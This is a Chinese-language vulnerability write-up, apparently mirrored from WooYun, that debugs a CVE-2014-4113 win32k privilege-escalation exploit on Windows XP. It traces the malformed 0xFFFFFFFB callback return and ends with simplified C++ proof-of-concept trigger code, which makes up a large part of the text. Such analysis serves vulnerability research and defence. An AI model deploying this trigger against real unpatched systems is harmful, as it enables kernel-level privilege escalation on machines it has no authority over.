CVE-2014-4113漏洞利用過程分析

wyzsk發表於2020-08-19
作者: cssembly · 2014/10/24 14:13

0x00 簡介


透過VMware和Windbg搭建32位核心除錯環境,系統為xp sp2,執行漏洞利用程式win32.exe calc.exe,彈出了一個SYSTEM許可權的calc。

enter image description here

透過IDA分析win32.exe,可以看到signed int __cdecl sub_4010F2()函式透過呼叫ZwQuerySystemInformation洩露核心模組ntkrnlpa.exe基址,最終得到PsLookupProcessByProcessId函式地址,該函式用於漏洞利用程式碼。

enter image description here

sub_401830函式是漏洞利用程式碼,完成許可權提升操作。

enter image description here

0x01 除錯過程


透過在函式上設定斷點,可以得到漏洞利用觸發位置。

enter image description here

可見是由TrackPopupMenu最終觸發了漏洞,呼叫點為call dwordptr[esi+20],此時esi的值為0xfffffffb。 透過函式呼叫棧,對esi值的來源進行反向跟蹤,可以知道在Menu的訊息處理函式signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中呼叫int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)時返回了異常的值,最終觸發了漏洞。

enter image description here

透過對xxxMNFindWindowFromPoint的呼叫過程進行分析,找到異常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。異常的值最終是由KeUserModeCallback函式透過v28指向的值返回。其中KeUserModeCallback函式的原型如下:

#!cpp
NTSTATUS
KeUserModeCallback (
     IN ULONGApiNumber,
     IN PVOIDInputBuffer,
     IN ULONGInputLength,
     OUT PVOID *OutputBuffer,
     IN PULONGOutputLength
     );

enter image description here

核心態的KeUserModeCallback函式最終會呼叫ntdll中的KiUserCallbackDispatcher函式來呼叫使用者態回撥函式,透過對KeUserModeCallbackKiUserCallbackDispatcher設定斷點,可以看到第一次處理0x1EB(MN_FINDWINDOWFROMPOINT)訊息是透過xxxSendMessageTimeout中呼叫的xxxCallHook來呼叫使用者註冊的鉤子函式,在使用者空間裡函式呼叫了USER32中的__fnOUTDWORDINDWORD函式,最終呼叫sub_401475(pfnFilterProc)函式。

enter image description here

enter image description here

enter image description here

程式在pfnFilterProc中透過SetWindowLongA設定PopupMenu的視窗訊息處理函式,那麼當xxxCallHook函式返回後,圖中的!(*(_BYTE *)(a1 + 22) & 4)條件成立,將執行xxxSendMessageToClient,該函式內將執行KeUserModeCallback,最終呼叫使用者態函式sub_4013F3

enter image description here

enter image description here

sub_4013F3函式尾部返回了0xFFFFFFFB。與KeUserModeCallback函式透過v28返回的值相等。為了進一步確認,修改sub_4013F3函式返回值為0xFFFFFFFF。可以看到v28指向的值變成了0xFFFFFFF

enter image description here

enter image description here

透過修改win32.exe中的指令,將0x40146D處的push 0FFFFFFFBh修改為push 0FFFFFFFFh,執行之後發現提權失敗。進一步確定由於核心的使用了異常的函式返回值,最終導致了許可權提升。

enter image description here

可見在PopupMenu的視窗訊息處理函式處理0x1EB的訊息時,沒有判斷訊息函式的返回值,最終導致了許可權提升。 所以漏洞觸發的完整過程如下:透過模仿點選事件,CreatePopupMenu建立的PopupMenu會收到0x1EB型別的訊息,因為無法拿到PopupMenu的視窗控制程式碼,程式並沒有辦法直接設定PopupMenu的視窗訊息處理函式,因此首先透過SetWindowsHookExA註冊鉤子函式,在鉤子函式中得到PopupMenu的視窗控制程式碼,再透過SetWindowLongA設定PopupMenu的視窗訊息處理函式,註冊之後,xxxSendMessageToClient將呼叫新的視窗訊息處理函式,接收並處理0x1EB的訊息。 在新的視窗訊息處理函式中,對於訊息號為0x1EB的訊息,函式返回了0xFFFFFFFB,最終觸發了漏洞。

enter image description here

0x02 觸發程式碼


透過上面的分析,根據win32.exe中程式碼,稍加簡化,可以得到如下的漏洞觸發程式碼。

#!cpp
#include"stdafx.h"
#include<windows.h>
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
  {
if ( dword_40DA5C != 1 )
    {
      dword_40DA5C = 1;
//模仿點選訊息,觸發0x1EB訊息處理,執行pfnFilterProc
      PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
      PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
      PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
    }
  }
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
  HMENU v0; // [email protected]
  HMENU v1; // [email protected]
  MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
  MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
  HMENU v9; // [sp+6Ch] [bp-4h]@1

  v9 = 0;
  memset((void *)&mi, 0, sizeof(mi));
  memset(&v4, 0, sizeof(MENUITEMINFOA));
  mi.cbSize = 48;
  v0 = CreatePopupMenu();
if ( v0 )
  {
    mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &mi) )
    {
      v4.fMask = 68;
      v4.dwTypeData = (LPSTR)&dword_40DA54;
      v4.cch = 1;
      v4.hSubMenu = v0;
      v4.cbSize = 48;
      v1 = CreatePopupMenu();
      v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
      {
        DestroyMenu(v0);
if ( v1 )
          DestroyMenu(v1);
      }
    }
else
      DestroyMenu(v0);
  }
return (int)v9;
}

unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB,觸發漏洞
}

LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
  {
        UnhookWindowsHook(4, pfnFilterProc);
        //設定PopupMenu的視窗訊息處理函式
        lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
  }
return CallNextHookEx(0, nCode, wParam, lParam);
}

int __stdcall Exp()
{
int v1; // [email protected]
  DWORD v2; // [email protected]
int result; // [email protected]
  HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
  LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
  WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
  v5 = 0;
  lpAddress = 0;
  memset(&SystemInfo, 0, 0x24u);
  memset(&WndClass, 0, 0x28u);
  WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
  WndClass.lpszClassName = "woqunimalegebi";
  GetNativeSystemInfo(&SystemInfo);
if ( 
SystemInfo.dwOemId != 9
&& (RegisterClassA(&WndClass)
&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) 
)
  {
v1 = 0;
v5 = 1;
    v1 = sub_401306();
    if ( v1 )
    {
        v2 = GetCurrentThreadId();
        SetWindowsHookExA(4, pfnFilterProc, 0, v2);
        TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
    }
    DestroyWindow(hWnd);
if ( v1 )
      DestroyMenu((HMENU)v1);
    UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
      VirtualFree(lpAddress, 0, 0x8000u);
    result = 0;
  }
else
    result = 0;
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
    Exp();
    return 0;
}

編譯執行之後,可以看到觸發了異常。

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章